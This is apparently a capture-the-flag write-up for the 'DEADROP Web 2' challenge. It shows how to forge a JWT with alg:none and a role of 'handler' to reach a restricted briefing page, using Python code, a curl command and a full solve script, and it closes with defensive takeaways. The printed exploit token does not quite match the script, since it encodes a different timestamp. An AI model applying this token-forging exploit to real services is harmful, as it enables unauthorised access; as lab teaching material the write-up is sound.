Home > Writeups > DEADROP Web 2 - agent_portal.classified

DEADROP Web 2 - agent_portal.classified

Bypassing JWT signature verification by exploiting the alg:none algorithm confusion vulnerability to escalate from asset to handler clearance.

agent_portal.classified

Challenge Description

Agency operative login portal. JWT tokens are just JSON. JSON is just text. Text can be edited.

"Security hardening scheduled Q3 2019. Currently: Q3 still pending."

We're given deadrop.two-shoes.org/portal, an agency operative authentication portal with clearance levels: asset, handler, and control (redacted).


Recon

Login with any credentials. The portal accepts everything, the vulnerability isn't the login itself. After logging in, the dashboard displays something interesting: the raw session token, color-coded by component.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJvcGVyYXRpdmUiLCJyb2xlIjoiYXNzZXQiLCJpYXQiOjE3NzUwOTMxNTd9.SIGNATURE

The dashboard decodes and displays the payload too:

key value
sub operative
role asset
iat 1775093157

Three sections separated by dots. That's a JWT. The page source has a comment:

<!--
  Authorization: Bearer <token>
  handler clearance required for: /portal/briefing
  token structure: header.payload.signature (HS256)
-->

So /portal/briefing is the target, and it wants role: handler in the token. The comment also tells us the algorithm is HS256, the secret for signing is server-side, so we can't forge a valid HS256 signature. But we might not need to.


Understanding JWTs

A JWT has three base64url-encoded parts: header.payload.signature.

The header tells the server which algorithm to use when verifying. A standard header looks like:

{"alg": "HS256", "typ": "JWT"}

The vulnerability: if a server reads the alg field from the token itself and uses it to decide how to verify, rather than enforcing a fixed algorithm, an attacker can set alg to none. The spec allows unsigned tokens (alg: none) for "unsecured JWTs". A buggy implementation that trusts the header will skip signature verification entirely.


Attempting /portal/briefing as Asset

Hitting /portal/briefing with the asset token returns:

403 - INSUFFICIENT CLEARANCE
Handler clearance required. Token algorithm downgrade not detected. Access denied.

The phrase "Token algorithm downgrade not detected" is the tell. The server is checking for this attack, or claiming to. Let's find out.


Building the Exploit Token

Three steps: modify the header, modify the payload, remove the signature.

Step 1: Decode the existing token

Using jwt.io, we find the header decodes to:

{"alg": "HS256", "typ": "JWT"}

The payload decodes to:

{"sub": "operative", "role": "asset", "iat": 1775093157}

Step 2: Build a new header and payload

Edit in jwt.io, or use python:

import json, base64

def b64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header  = {"alg": "none", "typ": "JWT"}
payload = {"sub": "operative", "role": "handler", "iat": 1775093157}

h = b64url_encode(json.dumps(header,  separators=(',',':')).encode())
p = b64url_encode(json.dumps(payload, separators=(',',':')).encode())

# alg:none = empty signature, but the trailing dot is required
exploit_token = f"{h}.{p}."
print(exploit_token)

Output:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJvcGVyYXRpdmUiLCJyb2xlIjoiaGFuZGxlciIsImlhdCI6MTcwMDAwMDAwMH0.

Note the trailing dot, the signature section is empty, but the separator must be present.

Step 3: Swap the cookie

Open DevTools → Application → Cookies → set deadrop_token to the exploit token. Or use curl:

curl -s "https://deadrop.two-shoes.org/portal/briefing" \
  -H "Cookie: deadrop_token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJvcGVyYXRpdmUiLCJyb2xlIjoiaGFuZGxlciIsImlhdCI6MTcwMDAwMDAwMH0."

Result

The briefing room loads with handler access. The flag is displayed inline:

DEADROP{jwt_none_attack_classic_blunder}

Full Solve Script

import json, base64, requests

def b64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header  = {"alg": "none", "typ": "JWT"}
payload = {"sub": "operative", "role": "handler", "iat": 1775093157}

h = b64url_encode(json.dumps(header,  separators=(',',':')).encode())
p = b64url_encode(json.dumps(payload, separators=(',',':')).encode())
token = f"{h}.{p}."

r = requests.get(
    "https://deadrop.two-shoes.org/portal/briefing",
    cookies={"deadrop_token": token}
)
print(r.status_code)   # 200
# grep for flag
import re
flag = re.search(r'DEADROP\{[^}]+\}', r.text)
if flag:
    print(flag.group())

Key Takeaways

1. Never trust the alg field in the JWT header. The server should have a fixed expected algorithm. If you issue HS256 tokens, verify with HS256. Period. The token should not be able to tell the server how to verify itself.

2. The alg:none attack is old and well-known. It's been in the OWASP JWT cheat sheet for years. Any JWT library used correctly will protect against it, the issue is usually custom or naive implementations. Use PyJWT, jsonwebtoken, or similar, and always pass an explicit algorithms=["HS256"] argument.

3. Clearance-based access control via tokens needs server-side validation. Client-controlled tokens where the client can modify their own role claim are never safe without proper signature enforcement.

4. Hints were baked in. The 403 message said "Token algorithm downgrade not detected", technically true (the downgrade wasn't detected). The page source commented that the token structure was HS256 and named the restricted route. Both nudges were enough to point at the right attack.


Flag

DEADROP{jwt_none_attack_classic_blunder}

< Back to All Writeups